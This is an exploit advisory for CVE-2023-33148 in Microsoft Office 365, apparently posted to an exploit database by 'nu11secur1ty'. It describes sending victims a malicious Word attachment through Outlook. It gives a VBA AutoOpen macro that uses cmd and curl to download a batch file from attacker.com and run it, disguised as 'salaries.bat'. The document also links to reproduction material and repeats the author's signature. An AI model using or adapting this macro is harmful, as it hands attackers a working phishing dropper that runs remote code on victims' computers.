## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege Vulnerability + RCE. ## Author: nu11secur1ty ## Date: 07.18.2023 ## Vendor: https://www.microsoft.com/ ## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office ## Reference: https://portswigger.net/web-security/access-control ## CVE-2023-33148 ## Description: The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to Elevation of Privilege. The attacker can use this vulnerability to attach a very malicious WORD file in the Outlook app which is a part of Microsoft Office 365 and easily can trick the victim to click on it - opening it and executing a very dangerous shell command, in the background of the local PC. This execution is without downloading this malicious file, and this is a potential problem and a very dangerous case! This can be the end of the victim's PC, it depends on the scenario. WARNING! Office 365 executes files directly from Outlook, without temp downloading, security checking and etc. ## Staus: HIGH Vulnerability [+]Exploit: - - - NOTE: This exploit is connected to the third-party server, and when the victim clicks on it and opens it the content of the script which is inside will fetch on the machine locally and execute himself by using MS Office 365 and Outlook app which is a part of the 365 API. ```vb Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat && .\salaries.bat", vbNormalFocus) End Sub ``` ## Reproduce: [href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148) ## Proof and Exploit [href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html) ## Time spend: 00:35:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>